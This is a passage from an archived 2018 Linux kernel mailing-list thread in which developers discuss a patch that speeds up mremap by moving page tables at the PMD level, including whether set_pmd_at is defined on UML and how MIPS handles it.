 by smtp.gmail.com with ESMTPSA id h7-v6sm3188482pfd.35.2018.10.12.07.37.32
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 07:37:33 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id B6CDF300030; Fri, 12 Oct 2018 17:37:28 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_073745_400952_4AED53F9 
X-CRM114-Status: GOOD (  28.64  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:641 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4524 gmane.linux.ports.mips.general:67039 gmane.linux.ports.ia64:29374 gmane.linux.ports.sh.devel:57623 gmane.linux.kernel.mm:205141 gmane.linux.ports.riscv:1043 gmane.linux.ports.hexagon:1898 gmane.comp.emulators.kvm.arm.devel:19404 gmane.linux.ports.alpha:5299 gmane.linux.ports.arm.kernel:679320 gmane.linux.ports.parisc:29150 gmane.linux.kernel:2897670 gmane.linux.ports.sparc:28545 gmane.linux.ports.ppc64.devel:164146
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4524>

On Fri, Oct 12, 2018 at 03:09:49PM +0100, Anton Ivanov wrote:
> On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
> > Android needs to mremap large regions of memory during memory management
> > related operations. The mremap system call can be really slow if THP is
> > not enabled. The bottleneck is move_page_tables, which is copying each
> > pte at a time, and can be really slow across a large map. Turning on THP
> > may not be a viable option, and is not for us. This patch speeds up the
> > performance for non-THP system by copying at the PMD level when possible.
> > 
> > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > 
> > Before:
> > Total mremap time for 1GB data: 242321014 nanoseconds.
> > Total mremap time for 1GB data: 196842467 nanoseconds.
> > Total mremap time for 1GB data: 167051162 nanoseconds.
> > 
> > After:
> > Total mremap time for 1GB data: 385781 nanoseconds.
> > Total mremap time for 1GB data: 388959 nanoseconds.
> > Total mremap time for 1GB data: 402813 nanoseconds.
> > 
> > Incase THP is enabled, the optimization is skipped. I also flush the
> > tlb every time we do this optimization since I couldn't find a way to
> > determine if the low-level PTEs are dirty. It is seen that the cost of
> > doing so is not much compared the improvement, on both x86-64 and arm64.
> > 
> > Cc: minchan@kernel.org
> > Cc: pantin@google.com
> > Cc: hughd@google.com
> > Cc: lokeshgidra@google.com
> > Cc: dancol@google.com
> > Cc: mhocko@kernel.org
> > Cc: kirill@shutemov.name
> > Cc: akpm@linux-foundation.org
> > Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> > ---
> >   mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
> >   1 file changed, 62 insertions(+)
> > 
> > diff --git a/mm/mremap.c b/mm/mremap.c
> > index 9e68a02a52b1..d82c485822ef 100644
> > --- a/mm/mremap.c
> > +++ b/mm/mremap.c
> > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> >   		drop_rmap_locks(vma);
> >   }
> > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > +		  unsigned long new_addr, unsigned long old_end,
> > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > +{
> > +	spinlock_t *old_ptl, *new_ptl;
> > +	struct mm_struct *mm = vma->vm_mm;
> > +
> > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > +	    || old_end - old_addr < PMD_SIZE)
> > +		return false;
> > +
> > +	/*
> > +	 * The destination pmd shouldn't be established, free_pgtables()
> > +	 * should have release it.
> > +	 */
> > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > +		return false;
> > +
> > +	/*
> > +	 * We don't have to worry about the ordering of src and dst
> > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > +	 */
> > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > +	if (old_ptl) {
> > +		pmd_t pmd;
> > +
> > +		new_ptl = pmd_lockptr(mm, new_pmd);
> > +		if (new_ptl != old_ptl)
> > +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> > +
> > +		/* Clear the pmd */
> > +		pmd = *old_pmd;
> > +		pmd_clear(old_pmd);
> > +
> > +		VM_BUG_ON(!pmd_none(*new_pmd));
> > +
> > +		/* Set the new pmd */
> > +		set_pmd_at(mm, new_addr, new_pmd, pmd);
> 
> UML does not have set_pmd_at at all

Every architecture does. :)

But it may come not from the arch code.

> If I read the code right, MIPS completely ignores the address argument so
> set_pmd_at there may not have the effect which this patch is trying to
> achieve.

Ignoring address is fine. Most architectures do that..
The ideas is to move page table to the new pmd slot. It's nothing to do
with the address passed to set_pmd_at().

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 15:48:15 +0100
Lines: 117
Approved: news@gmane.org
Message-ID: <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539355663 14894 195.159.176.226 (12 Oct 2018 14:47:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 14:47:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 16:47:33 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAyiu-0003bl-OQ
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 16:47:28 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=VTjHWdt1e8YVReXB2Qg/YhoEqBHC05oH4qLBuLcz4EE=; b=n5poRpFHsC/9ME1xuBWI3y8Zd
	AMvwZkiX98xH2mwdiRHw3BhGoIWS7wdM2KlqLOpbq+FmR5hSbDdzTcsHRMov/C1s9ITQAiSX/Al9Y
	VJYO6m60JJZ8iPzhDYFArpxBRSasQvh3jleAlpm5HUyyw6cWlwOmrJZIQVr77j46uXVyyNltLU0ie
	VS+16/Z5qHZRJouuSc5RAYV4LFWE4niEbNZQSfKlWIQu7TGeqYkAt6O43H+oWnU6pCMKk1SN7WNH4
	RRiKu6MLxR4Zd20HkDRZRnDruuoO0yjwg+k9wCeVPssXzvopv3cS4fCrIDYrCKntosiPIE30hkCKC
	eqRbsn5Kg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAykz-0000yw-Fm; Fri, 12 Oct 2018 14:49:37 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAykh-0000ky-Kl; Fri, 12 Oct 2018 14:49:31 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gAyjg-0002yC-S2; Fri, 12 Oct 2018 14:48:16 +0000
Original-Received: from wyvern.kot-begemot.co.uk ([192.168.3.72])
 by smaug.kot-begemot.co.uk with esmtps
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gAyjg-0005U0-9X; Fri, 12 Oct 2018 15:48:16 +0100
In-Reply-To: <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_074919_873651_FD779865 
X-CRM114-Status: GOOD (  23.03  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4525 gmane.linux.ports.mips.general:67040 gmane.linux.ports.ia64:29375 gmane.linux.ports.sh.devel:57624 gmane.linux.kernel.mm:205142 gmane.linux.ports.riscv:1044 gmane.linux.ports.hexagon:1899 gmane.comp.emulators.kvm.arm.devel:19405 gmane.linux.ports.alpha:5300 gmane.linux.ports.arm.kernel:679326 gmane.linux.ports.parisc:29151 gmane.linux.kernel:2897688 gmane.linux.ports.sparc:28546 gmane.linux.ports.ppc64.devel:164147
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4525>

On 12/10/2018 15:37, Kirill A. Shutemov wrote:
> On Fri, Oct 12, 2018 at 03:09:49PM +0100, Anton Ivanov wrote:
>> On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
>>> Android needs to mremap large regions of memory during memory management
>>> related operations. The mremap system call can be really slow if THP is
>>> not enabled. The bottleneck is move_page_tables, which is copying each
>>> pte at a time, and can be really slow across a large map. Turning on THP
>>> may not be a viable option, and is not for us. This patch speeds up the
>>> performance for non-THP system by copying at the PMD level when possible.
>>>
>>> The speed up is three orders of magnitude. On a 1GB mremap, the mremap
>>> completion times drops from 160-250 millesconds to 380-400 microseconds.
>>>
>>> Before:
>>> Total mremap time for 1GB data: 242321014 nanoseconds.
>>> Total mremap time for 1GB data: 196842467 nanoseconds.
>>> Total mremap time for 1GB data: 167051162 nanoseconds.
>>>
>>> After:
>>> Total mremap time for 1GB data: 385781 nanoseconds.
>>> Total mremap time for 1GB data: 388959 nanoseconds.
>>> Total mremap time for 1GB data: 402813 nanoseconds.
>>>
>>> Incase THP is enabled, the optimization is skipped. I also flush the
>>> tlb every time we do this optimization since I couldn't find a way to
>>> determine if the low-level PTEs are dirty. It is seen that the cost of
>>> doing so is not much compared the improvement, on both x86-64 and arm64.
>>>
>>> Cc: minchan@kernel.org
>>> Cc: pantin@google.com
>>> Cc: hughd@google.com
>>> Cc: lokeshgidra@google.com
>>> Cc: dancol@google.com
>>> Cc: mhocko@kernel.org
>>> Cc: kirill@shutemov.name
>>> Cc: akpm@linux-foundation.org
>>> Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
>>> ---
>>>    mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
>>>    1 file changed, 62 insertions(+)
>>>
>>> diff --git a/mm/mremap.c b/mm/mremap.c
>>> index 9e68a02a52b1..d82c485822ef 100644
>>> --- a/mm/mremap.c
>>> +++ b/mm/mremap.c
>>> @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
>>>    		drop_rmap_locks(vma);
>>>    }
>>> +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
>>> +		  unsigned long new_addr, unsigned long old_end,
>>> +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
>>> +{
>>> +	spinlock_t *old_ptl, *new_ptl;
>>> +	struct mm_struct *mm = vma->vm_mm;
>>> +
>>> +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
>>> +	    || old_end - old_addr < PMD_SIZE)
>>> +		return false;
>>> +
>>> +	/*
>>> +	 * The destination pmd shouldn't be established, free_pgtables()
>>> +	 * should have release it.
>>> +	 */
>>> +	if (WARN_ON(!pmd_none(*new_pmd)))
>>> +		return false;
>>> +
>>> +	/*
>>> +	 * We don't have to worry about the ordering of src and dst
>>> +	 * ptlocks because exclusive mmap_sem prevents deadlock.
>>> +	 */
>>> +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
>>> +	if (old_ptl) {
>>> +		pmd_t pmd;
>>> +
>>> +		new_ptl = pmd_lockptr(mm, new_pmd);
>>> +		if (new_ptl != old_ptl)
>>> +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
>>> +
>>> +		/* Clear the pmd */
>>> +		pmd = *old_pmd;
>>> +		pmd_clear(old_pmd);
>>> +
>>> +		VM_BUG_ON(!pmd_none(*new_pmd));
>>> +
>>> +		/* Set the new pmd */
>>> +		set_pmd_at(mm, new_addr, new_pmd, pmd);
>> UML does not have set_pmd_at at all
> Every architecture does. :)

I tried to build it patching vs 4.19-rc before I made this statement and 
ran into that.

Presently it does not.

https://elixir.bootlin.com/linux/v4.19-rc7/ident/set_pmd_at - UML is not 
on the list.

>
> But it may come not from the arch code.

There is no generic definition as far as I can see. All 12 defines in 
4.19 are in arch specific code. Unless i am missing something...

>
>> If I read the code right, MIPS completely ignores the address argument so
>> set_pmd_at there may not have the effect which this patch is trying to
>> achieve.
> Ignoring address is fine. Most architectures do that..
> The ideas is to move page table to the new pmd slot. It's nothing to do
> with the address passed to set_pmd_at().

If that is it's only function, then I am going to appropriate the code 
out of the MIPS tree for further uml testing. It does exactly that - 
just move the pmd the new slot.

>
A.

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 09:34:33 -0700
Lines: 148
Approved: news@gmane.org
Message-ID: <20181012163433.GA223066@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <594fc952-5e87-3162-b2f9-963479d16eb3@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539361979 3545 195.159.176.226 (12 Oct 2018 16:32:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:32:59 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 18:32:49 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB0Mo-0000ev-Hp
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 18:32:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=kzAOR4JiyDzUs5H0ilJ3U5L8qqbkeSUL3M1qwAPitS8=; b=qdknSj7hPr7kA3
	uEz2Bx3HEpRORJXViH4N4gsPpbY0PjIEdTxJZgP5dW3tqNqivCQgrfxCgA6eKLgUvLMRvWFg4kW75
	H0EzJFmfTRSZs4MR5bMtJnYhVRVfFMdFzwQULq2wx7n0R4DKY0Aw9k6nVPfA1Yec6Dpcf3zBVFrEN
	t1GDiWkPED4hvjcdoeP0i/KGw1Sp9K9z/PFjNunp+OjtS6ngjw6C7906giRCGNv4GYD0iV4sYd2RJ
	sYibpB20KeDvChRn6SoBguNaUDrKrecL0LEwNqZlQzTjYXX0ZvFyOe5aCVIMS4aMagJlR4Zc49qQg
	lXZhB2RJGDiflSjEDbug==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0Or-0005yF-Lv; Fri, 12 Oct 2018 16:34:53 +0000
Original-Received: from mail-pf1-x441.google.com ([2607:f8b0:4864:20::441])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0Om-0005w1-BU
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 16:34:50 +0000
Original-Received: by mail-pf1-x441.google.com with SMTP id p24-v6so6452291pff.10
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 09:34:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=GeJJXCqJMCDTI+MXwHMrbk77W318YMmfXGKRapf9/Sk=;
 b=YyM56XCqSfyaUBYDgdLpuQEKq1ABQCtIjAm3mexn7sHI103AKL5IRtu1yDgRXWcUmR
 +5dV4+N0dIsXdoQdM+bIK2ixBQF6EMK+bJUmgO404S133rpaNqZgC3hsYM6bPD/0A+T8
 ZZ1OQ9M/ZdWJax92mEDJBrHQFwC2/LW1LA+LY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=GeJJXCqJMCDTI+MXwHMrbk77W318YMmfXGKRapf9/Sk=;
 b=qQNik/7DMcXscgBr3gcfULCUk3UWTrDhDclX2MyzNkjOhKZyo93I0lnOyoDvN01FG2
 lHWRx/hi6B97V4B2+/DmiONumkiSy78PI1eyAzoTP5FKkV2NrURD2ULTSD0bDeDqGmU9
 ex2tvOi949PTZMk62O9oncEMt0qgB7b/HuybRursHXU0WlQqYtMPhi2t1aq1XKW0KuEd
 rfNsSkb8uNSARivdQJ8nf2sQj/Ume87W58vYLa/h5y41Je6TCeyr/78rrDh4AkwxQV2Z
 2/9x6aYhVXjcPxtNBR9Dss/km8kPwaQg4rfhI4m70dyORpIuVSLBZrtWPjm8wSkxm4ij
 3t2Q==
X-Gm-Message-State: ABuFfohhc1GaQYaFM9VUTji4O9HeVMuyNnIlScyNmjYo4F+PH2E9U/Sg
 4UkB7aQrH2mWiz+tDM5MI80SXg==
X-Google-Smtp-Source: ACcGV60O5IRpWWZ7ZD+hGXAxlNIP90i6xDrWPRRFvZcxuenG86m+xkw+7WT83DyNZ2L6qLNSI0RNkQ==
X-Received: by 2002:aa7:80cd:: with SMTP id
 a13-v6mr6747047pfn.86.1539362076258; 
 Fri, 12 Oct 2018 09:34:36 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id l71-v6sm2751559pgd.31.2018.10.12.09.34.34
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 09:34:34 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <594fc952-5e87-3162-b2f9-963479d16eb3@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_093448_400580_9E176858 
X-CRM114-Status: GOOD (  23.77  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:441 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1045 gmane.linux.ports.mips.general:67041 gmane.linux.ports.ia64:29377 gmane.linux.ports.sh.devel:57625 gmane.linux.kernel.mm:205148 gmane.linux.ports.sparc:28547 gmane.linux.ports.hexagon:1900 gmane.comp.emulators.kvm.arm.devel:19420 gmane.linux.kernel.arc:4526 gmane.linux.ports.alpha:5302 gmane.linux.ports.arm.kernel:679350 gmane.linux.ports.parisc:29152 gmane.linux.kernel:2897804 gmane.linux.ports.ppc64.devel:164148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1045>

On Fri, Oct 12, 2018 at 02:56:19PM +0100, Anton Ivanov wrote:
> 
> On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
> > This series speeds up mremap(2) syscall by copying page tables at the
> > PMD level even for non-THP systems. There is concern that the extra
> > 'address' argument that mremap passes to pte_alloc may do something
> > subtle architecture related in the future, that makes the scheme not
> > work.  Also we find that there is no point in passing the 'address' to
> > pte_alloc since its unused.
> > 
> > This patch therefore removes this argument tree-wide resulting in a nice
> > negative diff as well. Also ensuring along the way that the architecture
> > does not do anything funky with 'address' argument that goes unnoticed.
> > 
> > Build and boot tested on x86-64. Build tested on arm64.
> > 
> > The changes were obtained by applying the following Coccinelle script.
> > The pte_fragment_alloc was manually fixed up since it was only 2
> > occurences and could not be easily generalized (and thanks Julia for
> > answering all my silly and not-silly Coccinelle questions!).
> > 
> > // Options: --include-headers --no-includes
> > // Note: I split the 'identifier fn' line, so if you are manually
> > // running it, please unsplit it so it runs for you.
> > 
> > virtual patch
> > 
> > @pte_alloc_func_def depends on patch exists@
> > identifier E2;
> > identifier fn =~
